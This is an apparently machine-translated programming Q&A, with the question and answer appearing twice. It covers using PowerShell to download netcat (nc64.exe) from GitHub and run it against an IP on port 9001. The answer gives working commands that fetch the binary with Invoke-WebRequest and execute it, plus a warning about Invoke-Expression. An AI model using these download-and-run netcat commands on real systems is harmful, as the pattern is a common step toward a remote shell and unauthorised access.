如何使用 Powershell 下载并通过参数管道执行
How to use Powershell to download and pipe to execution with arguments
我正在尝试使用 powershell 下载并执行带有参数的文件:
. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001
我收到这个错误:
Unexpected token '9001' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
感谢任何帮助。
Invoke-Expression
(ie
) 用于将 text 解释和执行为 PowerShell 代码[1] - 您不能使用它直接执行 binary 下载(PowerShell 根本不支持)。
相反,使用 Invoke-WebRequest
的(iwr
的)-OutFile
参数将二进制内容 下载到本地文件 和执行后者:
iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe
./nc64.exe $someIp 9001
[1] 强制性警告:Invoke-Expression
(iex
) 通常应 避免 并且仅用作 不得已,由于其固有的安全风险。通常可以获得更好的替代品。如果确实别无选择,请只在您自己提供或完全信任的输入上使用它 - 请参阅 .
我正在尝试使用 powershell 下载并执行带有参数的文件:
. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001
我收到这个错误:
Unexpected token '9001' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
感谢任何帮助。
Invoke-Expression
(ie
) 用于将 text 解释和执行为 PowerShell 代码[1] - 您不能使用它直接执行 binary 下载(PowerShell 根本不支持)。
相反,使用 Invoke-WebRequest
的(iwr
的)-OutFile
参数将二进制内容 下载到本地文件 和执行后者:
iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe
./nc64.exe $someIp 9001
[1] 强制性警告:Invoke-Expression
(iex
) 通常应 避免 并且仅用作 不得已,由于其固有的安全风险。通常可以获得更好的替代品。如果确实别无选择,请只在您自己提供或完全信任的输入上使用它 - 请参阅